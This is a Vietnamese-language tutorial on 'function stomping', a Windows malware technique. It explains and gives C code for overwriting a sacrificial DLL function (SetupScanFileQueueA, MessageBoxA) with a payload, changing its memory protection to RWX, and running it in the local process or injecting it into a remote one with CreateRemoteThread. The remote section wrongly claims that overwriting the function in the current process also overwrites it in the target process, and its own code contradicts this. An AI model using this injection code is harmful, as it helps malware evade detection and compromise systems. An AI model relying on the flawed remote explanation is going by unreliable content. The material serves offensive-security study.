Function Stomping

Khái niệm “stomping” được sử dụng để mô tả việc ghi đè hoặc thay thế vùng nhớ của một hàm hoặc một cấu trúc dữ liệu ở trong chương trình bằng một giá trị khác.

Kỹ thuật function stomping liên quan đến việc ghi đè các byte gốc của hàm bằng các byte khác nhằm khiến cho hàm đó thực thi một logic khác. Để làm được điều này, ta cần tìm một địa chỉ của hàm dùng để “hy sinh”.

Choosing a Target Function

Việc ghi đè các hàm thường dùng có thể dẫn đến việc thực thi không như mong muốn của payload hoặc tiến trình bị crash. Do đó, việc chọn các hàm ở trong ntdll.dllkernel32.dll và kernelbase.dll là rất rủi ro. Thay vào đó, ta nên chọn các hàm ít dùng chẳng hạn như MessageBox.

Using The Stomped Function

Khi hàm được chọn bị thay thế bởi các byte của payload, hàm đó không thể được sử dụng nữa trừ khi ta cần thực thi payload. Nói cách khác, ta chỉ có thể gọi hàm bị ghi đè một lần duy nhất trong suốt chương trình.

Local Function Stomping

Chúng ta sẽ thực hiện ghi đè hàm SetupScanFileQueueA mà được export từ  Setupapi.dll. Việc đầu tiên mà ta cần làm là nạp Setupapi.dll vào bộ nhớ sử dụng hàm LoadLibraryA rồi dùng hàm GetProcAddress để lấy ra địa chỉ của hàm.

#define		SACRIFICIAL_DLL          "setupapi.dll"
#define		SACRIFICIAL_FUNC         "SetupScanFileQueueA"
 
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
	printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
	return -1;
}
printf("[+] DONE \n");
 
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
	printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
	return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);

Bước tiếp theo là ghi đè vùng nhớ của hàm bằng payload thông qua hàm sau:

BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
 
	DWORD	dwOldProtection		= NULL;
 
 
	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
		printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	memcpy(pAddress, pPayload, sPayloadSize);
 
	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	return TRUE;
}

Giải thích hàm trên: để ghi đè vùng nhớ của hàm, mà cụ thể là SetupScanFileQueueA, ta cần đảm bảo rằng vùng nhớ của SetupScanFileQueueA có quyền đọc và ghi bằng cách sử dụng VirtualProtect. Sau đó, payload sẽ được sao chép vào vùng nhớ của SetupScanFileQueueAVirtualProtect sẽ được gọi một lần nữa để cho phép vùng nhớ đó quyền thực thi (RX hoặc RWX).

Sau khi ghi đè hàm bằng payload, ta có thể tạo ra một thread mới để thực thi hàm bị ghi đè (trong trường hợp này ta có thể xem thân hàm như là vùng nhớ dùng để chứa payload):

hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
	WaitForSingleObject(hThread, INFINITE);

Demo

Các byte gốc của hàm trước khi bị ghi đè:

Các byte của hàm sau khi bị ghi đè bởi payload:

Inserting DLL Into Binary

Thay vì liên kết động Setupapi.dll, ta có thể thực hiện liên kết tĩnh bằng cách sử dụng chỉ thị trình biên dịch pragma comment như sau:

#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table

Khi đó, thay vì sử dụng LoadLibraryAGetProcAddress, ta có thể lấy ra địa chỉ của hàm SetupScanFileQueueA thông qua toán tử &:

printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
 
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
	return -1;
}

Remote Function Stomping

Các hàm trong các DLL của Windows API có cùng địa chỉ trong mọi tiến trình. Tuy nhiên, địa chỉ mà DLL được nạp vào mỗi tiến trình có thể khác nhau.

Important

Để có thể thực hiện remote function stomping, DLL mà export hàm bị ghi đè cần phải được nạp lên tiến trình mục tiêu.

Trước tiên, ta sẽ lấy handle của tiến trình mục tiêu:

HANDLE		hProcess		= NULL,
			hThread			= NULL;
PVOID		pAddress		= NULL;
DWORD		dwProcessId		= NULL;
 
HMODULE		hModule			= NULL;
 
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
	printf("[!] Process is Not Found \n");
	return -1;
}

Sau đó, ta cũng sẽ liên kết động Setupapi.dll để tìm địa chỉ của SetupScanFileQueueA mà ta cần ghi đè và thực hiện ghi đè trong tiến trình hiện tại:

#define		SACRIFICIAL_DLL            "setupapi.dll"
#define		SACRIFICIAL_FUNC           "SetupScanFileQueueA"
 
printf("[i] Loading \"%s\"... ", SACRIFICIAL_DLL);
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL) {
	printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
	return -1;
}
printf("[+] DONE \n");
 
 
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL) {
	printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
	return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
 
 
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
	return -1;
}
printf("[+] DONE \n");

Hàm WritePayload được hiện thực tương tự như trong Local Function Stomping.

Do địa chỉ của SetupScanFileQueueA là giống nhau với mọi tiến trình. Việc ghi ở tiến trình hiện tại cũng đồng nghĩa với việc ghi đè ở tiến trình mục tiêu.

Cuối cùng, sử dụng CreateRemoteThread để thực thi payload:

hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
	WaitForSingleObject(hThread, INFINITE);

Với hProcess là handle của tiến trình mục tiêu và pAddress là địa chỉ của hàm SetupScanFileQueueA (cũng là vùng nhớ chứa payload).

Demo

Để demo, ta sẽ nhắm vào hàm MessageBoxA của user32.dll.

Lấy ra địa chỉ của MessageBoxA:

Một số byte gốc của MessageBoxA:

Ghi đè thân hàm bằng payload:

Resources